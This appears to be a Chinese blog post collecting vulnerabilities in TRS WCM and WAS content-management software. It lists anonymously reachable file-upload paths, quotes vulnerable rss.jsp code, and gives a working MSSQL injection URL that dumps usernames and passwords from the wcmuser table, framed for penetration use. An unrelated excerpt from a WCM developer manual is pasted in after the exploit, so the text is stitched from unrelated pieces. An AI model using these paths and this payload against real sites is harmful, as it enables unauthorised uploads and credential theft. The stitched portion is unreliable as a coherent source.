TRS CMS(拓尔思CMS) 漏洞集合

TRS(拓尔思)WCM 文件上传漏洞

影响版本:

WCM5.2 WCM6.1

漏洞描述:

TRSWCM是拓尔思系列产品的重要组成部分,服务于信息资源的发布。

Lee在对WCM6.1(STD1091SP2)进行风险评估的时候发现,file_upload.html未做访问限制,攻击者可以匿名访问上传页面进行文件上传操作

说明:

file/file_upload.html

infogate/file/file_upload.html

-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

 TRS(拓尔思)WAS 4.5 注入漏洞
2011-01-07 14:49

影响版本:

WAS4.5

漏洞描述:

TRSWAS是拓尔思系列产品的重要组成部分,服务于信息资源的发布。

Lee在对WAS4.5进行风险评估的时候发现,rss.jsp页面"channelid"参数未进行过滤。

说明:(TRS已发布补丁)

<%
 int defaultPagesize=20;//默认返回的订阅记录数
 int defaultChnid=65114;//默认频道号
 
 String SITE="";//当前站点
 String OUTLINE="outline_trs.jsp";//概览页面
 String LOGO="images/logo.gif";//Logo路径
 String TITLE="标题";//显示为标题的数据库字段名
 String AUTHOR="作者";//显示为作者的数据库字段名
 String DATE="日期";//显示为日期的数据库字段名
 String DESCRIPTION="正文";//显示为描述的数据库字段名

 try
 {
  String chnid=request.getParameter("channelid");
  if (chnid == null || chnid.length() == 0)
      throw new WASException("1001#频道号为空#rss.jsp#");
  String[] strSep = {",", ";"};
  String[] strChnids = WASTools.splitString(chnid, strSep);
  if(chnid==null)chnid=""+defaultChnid;
  int intChnid=0;
  try
  {
   intChnid=Integer.parseInt(strChnids[0]);
  }
  catch(Exception e){}
  int pagesize=0;
  try
  {
   pagesize=Integer.parseInt(request.getParameter("prepage"));
  }
  catch(Exception e)
  {
      pagesize=defaultPagesize;
  }
  String prepage=""+pagesize;
  if(SITE==null||SITE.trim().equals(""))
   SITE="http://"+request.getServerName()+":"+request.getServerPort()+request.getContextPath(); 
%>

 ----------------------------------------------------------------------------------------------------------------------------------------------------------------------

TRS 是英文Text Retrieval System(文本检索系统)的缩写,据说是全文检索、搜索引擎、内容管理及知识管理核心技术和产品的统一,入选2008年度国家规划布局内重点软件企业,做某些渗透经常会碰到。

MSSQL版本:/wcm//help/wcmhelp_list.jsp?trandom=0.3575719151171357&JspUrl=http%3A%2F%2F9.9.9.9%2Fwcm%2F%23%2Floginpage.jsp'%20and%20(select%20top%201%20username%2bchar(124)%2bpassword%20from%20wcmuser)>0--
ORACLE及其它版本:一位一位试吧,没代码,比较麻烦。




1.1 文档的建立  本文档是专门针对WCM产品的二次开发而编写的指导性手册;它从设计原理和应用实践两个方面详细阐述了有关二次开发中所涉及的问题。  本文档是由TRS WCM产品开发组共同建立和维护的。在实际的应用中,WCM开发组有义务不断更新和补充完善本文档。 1.2 文档的组织  本文档在内容组织上,注重设计原理和应用实践两个方面并重。因为我们认为,理解设计原理是更好应用的基础,也是较深层的二次开发所必须了解的内容。  本文档在布局上,按照下面的方式安排:  本文档首先阐述了WCM中最重要的对象模型和体系,它是应用和扩展WCM的最基础、最核心的内容;  然后分别阐述了WCM中最重要的几个应用内容,包括WCM对象体系扩展、系统安全管理、系统配置、任务和计划调度及工作流支持。  最后讨论了WCM应用开发中所涉及的几个应用层面上的问题,这些问题包括并发操作的支持、中文问题及多国语言的支持,以及如何提高WCM二次开发的质量和效率。 1.3 文档的目标 在阅读完本文档后,您应当明确理解和掌握的内容是:  如何应用和扩展WCM对象体系;  如何熟练应用WCM中有关系统配置、任务和计划调度、工作流支持等关键性的扩展性支持开发;  如何熟练解决WCM应用开发中的一些应用层问题,如并发操作支持、中文问题和多国语言支持等。  最终:您应当能够熟练掌握和应用本文档中所有WCM扩展开发内容。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值